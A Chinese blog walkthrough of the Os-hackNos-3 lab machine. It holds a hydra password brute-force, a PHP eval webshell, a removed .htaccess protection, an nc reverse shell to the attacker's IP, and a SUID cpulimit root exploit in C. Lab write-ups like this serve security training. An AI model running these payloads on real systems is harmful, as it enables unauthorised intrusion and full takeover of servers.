Os-hackNos-3
Os-hackNos-3
一、主机发现和端口扫描
-
主机发现,靶机地址192.168.80.145
arp-scan -l
-
端口扫描,开放了22和80端口
nmap -P -sV 192.168.80.145
二、信息收集
-
访问80端口
find the Bug You need extra WebSec翻译 找到Bug 你需要额外的网络安全
-
路径扫描
dirsearch -u "http://192.168.80.145/" -e *
-
访问/scripts

-
查看automail.pl文件
#!/usr/bin/perl ####################################################################### # automail.pl # # Perl script used for remote email piping...same as as the PHP version. # # Peter Rotich <peter@osticket.com> # Copyright (c) 2006-2013 osTicket # http://www.osticket.com # # Released under the GNU General Public License WITHOUT ANY WARRANTY. # See LICENSE.TXT for details. # # vim: expandtab sw=4 ts=4 sts=4: ########################################################################Configuration: Enter the url and key. That is it. # url=> URL to pipe.php e.g http://yourdomain.com/support/api/tickets.email # key=> API Key (see admin panel on how to generate a key)%config = (url => 'http://yourdomain.com/support/api/tickets.email',key => 'API KEY HERE');#Get piped message from stdin while (<STDIN>) {$rawemail .= $_; }use LWP::UserAgent; $ua = LWP::UserAgent->new;$ua->agent('osTicket API Client v1.7'); $ua->default_header('X-API-Key' => $config{'key'}); $ua->timeout(10);use HTTP::Request::Common qw(POST);my $enc ='text/plain'; my $req = (POST $config{'url'}, Content_Type => $enc, Content => $rawemail); $response = $ua->request($req);# # Process response # Add exit codes - depending on what your MTA expects. # By default postfix exit codes are used - which are standard for MTAs. #use Switch;$code = 75; switch($response->code) {case 201 { $code = 0; }case 400 { $code = 66; }case [401,403] { $code = 77; }case [415,416,417,501] { $code = 65; }case 503 { $code = 69 }case 500 { $code = 75 } } #print "RESPONSE: ". $response->code. ">>>".$code; exit $code;这段Perl脚本的功能是通过osTicket API将电子邮件消息发送到指定的URL,并根据响应的状态码确定退出码。1. `%config = (url => 'http://yourdomain.com/support/api/tickets.email', key => 'API KEY HERE');` - 定义了存储URL和API密钥的哈希表。 2. `while (<STDIN>) { $rawemail .= $_; }` - 从标准输入读取管道传输的电子邮件消息并存储在变量 `$rawemail` 中。 3. `use LWP::UserAgent; $ua = LWP::UserAgent->new; $ua->agent('osTicket API Client v1.7'); $ua->default_header('X-API-Key' => $config{'key'}); $ua->timeout(10);` - 导入LWP::UserAgent模块,创建UserAgent对象,并设置默认的用户代理和超时。 4. `use HTTP::Request::Common qw(POST);` - 导入HTTP::Request::Common模块,并引入POST请求类型。 5. `my $req = (POST $config{'url'}, Content_Type => $enc, Content => $rawemail); $response = $ua->request($req);` - 创建一个POST请求,将原始电子邮件消息作为内容发送到指定的URL,并获取响应。 6. `use Switch;` - 导入Switch模块,用于实现switch语句。 7. `switch($response->code) { case 201 {...} case 400 {...} ... }` - 用switch语句根据响应状态码选择不同的退出码(根据邮件传输代理的标准)。 8. `exit $code;` - 根据计算得到的退出码退出脚本 -
没啥价值,根据上面的提示访问/websec路径,发现一个博客和一个邮箱
contact@hacknos.com
-
博客使用Glia CMS搭建的


三、密码爆破
-
猜测刚才发现的邮箱就是用户名,再爬取网站信息生成密码本
cewl http://192.168.80.145/websec/ >/tmp/passwd
-
密码爆破
hydra -l contact@hacknos.com -P /tmp/passwd 192.168.80.145 http-post-form "/websec/login:username=^USER^&password=^PASS^:Wrong email or password" -V
-
登录系统,发现是管理员权限,版本是1.10.9
用户名:contact@hacknos.com 密码:Securityx
四、漏洞利用
-
在后台发现文件上传功能(content->file managee),上传一句话mua
<?php @eval($_POST['glc']);?>
-
发现文件被上传到了assets目录,在该目录中发现了
.htaccess文件禁止访问php文件,那么将deny from all删除后保存
-
使用蚁剑连接,拿到shell

五、权限提升
-
nc建立连接
kali:nc -lvnp 8848 靶机:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash 2>&1|nc 192.168.80.139 8848 >/tmp/f然后执行python -c 'import pty; pty.spawn("/bin/bash")'
-
查看是否存在可以提权的命令
find /usr/bin -type f -perm -u=s 2>/dev/null
1.第一种方法
-
发现cpulimit 命令,尝试用cpulimit提权
一个用户调整CPU使用的命令,cpulimit`命令主要对长期运行的和 CPU 密集型的进程有用#include<stdio.h> #include<unistd.h> #include<stdlib.h>int main() {setuid(0);setgid(0);system("/bin/bash");return 0; } -
将上面的代码编译为exp,上传之后使用添加运行权限
gcc cpu.c -o exp chmod 777 exp
-
使用cpulimit -l 100 -f ./exp进行提权
2.第二种方法
-
在
/var/local/database中发现了经过加密的内容Expenses Software Licenses,$2.78 Maintenance,$68.87 Mortgage Interest,$70.35 Advertising,$9.78 Phone,$406.80 Insurance,$9.04 Opss;fackespreadsheet
-
对密文进行解密,得到密码明文
Security@x@https://link.csdn.net/?target=https%3A%2F%2Fwww.spammimic.com%2Fspreadsheet.php -
登录用户blackdevil,该用户是在/home目录下发现的,然后用sudo提权

相关文章:
Os-hackNos-3
Os-hackNos-3 一、主机发现和端口扫描 主机发现,靶机地址192.168.80.145 arp-scan -l端口扫描,开放了22和80端口 nmap -P -sV 192.168.80.145二、信息收集 访问80端口 find the Bug You need extra WebSec翻译 找到Bug 你需要额外的网络安全路径扫描 d…...
时序预测 | Matlab实现HPO-ELM猎食者算法优化极限学习机的时间序列预测
时序预测 | Matlab实现HPO-ELM猎食者算法优化极限学习机的时间序列预测 目录 时序预测 | Matlab实现HPO-ELM猎食者算法优化极限学习机的时间序列预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 Matlab实现HPO-ELM猎食者算法优化极限学习机时间序列预测 1.data为数据集…...
LeetCode:307. 区域和检索 - 数组可修改(树状数组 C++)
目录 307. 区域和检索 - 数组可修改 题目描述: 实现代码与解析: 树状数组: 原理思路: 307. 区域和检索 - 数组可修改 题目描述: 给你一个数组 nums ,请你完成两类查询。 其中一类查询要求 更新 数组…...
909-2015-T3
文章目录 1.原题2.算法思想2.1.求树的高度2.2.求路径 3.关键代码4.完整代码5.输出结果 1.原题 试编写算法,求给定二叉树上从根节点到叶子节点的一条路径长度等于树的深度减一的路径(即列出从根节点到该叶子节点的节点序列),若这样…...
【云原生】初识 Service Mesh
目录 一、什么是Service Mesh 二、微服务发展历程 2.1 微服务架构演进历史 2.1.1 单体架构 2.1.2 SOA阶段 2.1.3 微服务阶段 2.2 微服务治理中的问题 2.2.1 技术栈庞杂 2.2.2 版本升级碎片化 2.2.3 侵入性强 2.2.4 中间件多,学习成本高 2.2.5 服务治理功…...
常见的8个JMeter压测问题
为什么在JMeter中执行压力测试时,出现连接异常或连接重置错误? 答案:连接异常或连接重置错误通常是由于服务器在处理请求时出现问题引起的。这可能是由于服务器过载、网络故障或配置错误等原因导致的。 解决方法: 确定服务器的…...
深度学习卷积神经网络垃圾分类系统 - 深度学习 神经网络 图像识别 垃圾分类 算法 小程序 计算机竞赛
文章目录 0 简介1 背景意义2 数据集3 数据探索4 数据增广(数据集补充)5 垃圾图像分类5.1 迁移学习5.1.1 什么是迁移学习?5.1.2 为什么要迁移学习? 5.2 模型选择5.3 训练环境5.3.1 硬件配置5.3.2 软件配置 5.4 训练过程5.5 模型分类效果(PC端) 6 构建垃圾…...
羊大师教你如何有效解决工作中的挑战与压力?
在现代社会,工作问题一直是许多人头疼的难题。无论是从工作压力到职业发展,工作问题不仅会影响个人的心理健康,还可能对整个工作团队的效率和和谐产生负面影响。因此,如何有效解决工作问题成为了每个职场人士都需要面对的挑战。 …...
【性能测试】稳定性/并发压力测试的TPS计算+5W并发场景设计...
目录:导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结(尾部小惊喜) 前言 1、稳定性测试TPS…...
人工智能的时代---AI的影响
人工智能(AI)是当前科技领域的一个热门话题,它正在以前所未有的速度改变着我们的生活方式和工作方式。从智能家居到自动驾驶,从智能医疗到智能金融,人工智能正在渗透到我们生活的方方面面。在这篇文章中,我…...
LeetCode 每日一题 2023/11/13-2023/11/19
记录了初步解题思路 以及本地实现代码;并不一定为最优 也希望大家能一起探讨 一起进步 目录 11/13 307. 区域和检索 - 数组可修改11/14 1334. 阈值距离内邻居最少的城市11/15 2656. K 个元素的最大和11/16 2760. 最长奇偶子数组11/17 2736. 最大和查询11/18 2342. 数…...
Leetcode——169 多数元素
我的答案 class Solution {public int majorityElement(int[] nums) {int len nums.length;Arrays.sort(nums);int count 1;int res 0;if(len 1){return nums[0];}for(int i0; i<len-1; i){if(nums[i]nums[i1]){count;}else{count 1;}if(count>len/2){res nums[i]…...
vue中原生H5拖拽排序_拖拽图片也是同样的道理
原文地址【vue中原生H5拖拽排序_拖拽图片也是同样的道理】 H5有基于拖拽的事件机制,如果你还不熟悉,请看我之前的文章【拖拽上传】中有介绍。 原生拖拽API实现 由于比较简单直接上代码了: <!DOCTYPE html> <html lang"en&qu…...
【C语言】计算实时太阳角度(高度角、方位角),以及使用stm32单片机实时获取时间戳
整体计算方法 在编写该代码的过程中寻找了多篇博文和论文,综合所有文章且按网上的以0时的方位角的0,且随时间累加累加至360度。我修改了博文和论文的一些角度的计算方法。得到一下代码与网站计算的方位角相互验证过,误差不超过1 验证网站 太…...
创建git仓库
①git init:用于在一个现有的目录中初始化一个新的 Git 仓库。 # 进入你的项目目录,如果你想要在当前目录下初始化 Git 仓库。 git init 这会在当前目录下创建一个名为 .git 的子目录,其中包含 Git 仓库的所有必要文件和目录。(…...
19.悲观锁与乐观锁解析
1.悲观锁 悲观锁比较悲观,它认为如果不锁住这个资源,别的线程就会来争抢,就会造成数据结果错误,所以悲观锁为了确保结果的正确性,会在每次获取并修改数据时,都把数据锁住,让其他线程无法访问该…...
C语言--给出一个点的坐标判断它在单位圆的内部外部还是上面
一.题目描述 给出一个点的坐标判断它在单位圆的内部外部还是上面 例如输入1,0,输出在圆上 二.思路分析 首先,单位圆是以坐标系原点为圆心、半径为1的圆。 给定一个点坐标 (x,y),我们可以使用勾股定理计算该点到坐标系原点的距…...
变频器基础问答集21-50
21.请问电机软起动器是否能节能?软启动节能效果有限,但可以减少启动对电网的冲击,也可以实现平滑启动,保护电机机组。 根据能量守恒理论,由于加入了相对复杂的控制电路,软启动不但不节能,还会加大能量的消耗,但它可以减小电路的启…...
OpenCvSharp从入门到实践-(01)认识OpenCvSharp开发环境搭建
目录 一、OpenCV 二、OpenCvSharp 三、OpenCvSharp开发环境搭建 四、下载 五、其他 一、OpenCV OpenCV是基于Apache2.0许可(开源)发行的跨平台计算机视觉和机器学习函数库,支持Windows、Linux、Android和Mac OS操作系统。OpenCV由一系…...
OSG文字-渐变文字(4)
渐变文字(osgText::FadeText类)继承自osgText::Text类继承关系图如图9-6所示 图9-6 osgText::FadeText的继承关系图 从继承关系图中可以看出,它继承自osgText::Text类,因此,它具备一般文字属性的设置方法这里不再重复说明。创建渐变文字与一般…...
智能批量照片水印处理工具:自动化EXIF信息标注与品牌展示解决方案
智能批量照片水印处理工具:自动化EXIF信息标注与品牌展示解决方案 【免费下载链接】semi-utils 一个批量添加相机机型和拍摄参数的工具,后续「可能」添加其他功能。 项目地址: https://gitcode.com/gh_mirrors/se/semi-utils Semi-Utils是一款面向…...
RepoAgent:基于大语言模型的智能代码仓库分析与自动化文档生成
1. 项目概述:当代码仓库遇上智能体最近在折腾一个挺有意思的项目,叫 RepoAgent。这名字听起来就挺“代理”的,没错,它的核心定位就是一个专门用来“阅读”和理解代码仓库的智能体。简单来说,你可以把它想象成一个超级用…...
2025最权威的十大降重复率网站横评
Ai论文网站排名(开题报告、文献综述、降aigc率、降重综合对比) TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 要降低AIGC(人工智能生成内容)的占比,得从源头优化跟后期…...
飞书日历API实战:基于Node.js与OAuth构建自动化日程助手
1. 项目概述:一个能听懂人话的飞书日历助手 最近在折腾自动化流程,发现一个挺高频的需求:把那些零散的日程安排,从聊天对话里直接同步到日历。比如同事在飞书群里说“下周三下午三点开个会”,或者自己随手记的“周五记…...
Windows系统srchadmin.dll文件丢失无法启动程序解决
在使用电脑系统时经常会出现丢失找不到某些文件的情况,由于很多常用软件都是采用 Microsoft Visual Studio 编写的,所以这类软件的运行需要依赖微软Visual C运行库,比如像 QQ、迅雷、Adobe 软件等等,如果没有安装VC运行库或者安装…...
告别系统软键盘!手把手教你为Qt应用定制一个高颜值、全功能的虚拟键盘(支持Win/Linux)
告别系统软键盘!手把手教你为Qt应用定制一个高颜值、全功能的虚拟键盘(支持Win/Linux) 在工业控制、教育软件、信息发布系统等专业场景中,系统自带的软键盘往往难以满足定制化需求——风格突兀、功能单一、跨平台表现不一致。本文…...
VTC-R1视觉化压缩技术解决长文本理解瓶颈
1. 项目背景与核心价值去年在处理一批医疗影像报告时,我发现一个棘手问题:当需要同时分析患者的CT扫描描述、病理报告和病史记录时,传统文本处理模型会因为上下文过长而丢失关键细节。这种长文本理解瓶颈在金融合同解析、法律文书分析等场景同…...
如何在现代Windows系统上完美运行经典游戏:DDrawCompat兼容性解决方案终极指南
如何在现代Windows系统上完美运行经典游戏:DDrawCompat兼容性解决方案终极指南 【免费下载链接】DDrawCompat DirectDraw and Direct3D 1-7 compatibility, performance and visual enhancements for Windows Vista, 7, 8, 10 and 11 项目地址: https://gitcode.c…...
借助 API Key 管理与访问控制功能实现团队内安全的模型调用权限分配
借助 API Key 管理与访问控制功能实现团队内安全的模型调用权限分配 1. 团队协作中的 API Key 管理挑战 在多人协作的开发环境中,直接共享主账号 API Key 会带来一系列安全隐患。密钥泄露可能导致未经授权的调用和费用损失,统一密钥也难以区分不同成员…...
告别手动测试烦恼:CTS-Verifier实战详解与自动化探索(附APK下载与配置)
告别手动测试烦恼:CTS-Verifier实战详解与自动化探索 在Android设备兼容性测试领域,CTS-Verifier一直是个让人又爱又恨的存在。作为CTS测试中不可或缺的手动验证环节,它像一位严格的考官,专门检验那些自动化测试难以覆盖的硬件功能…...
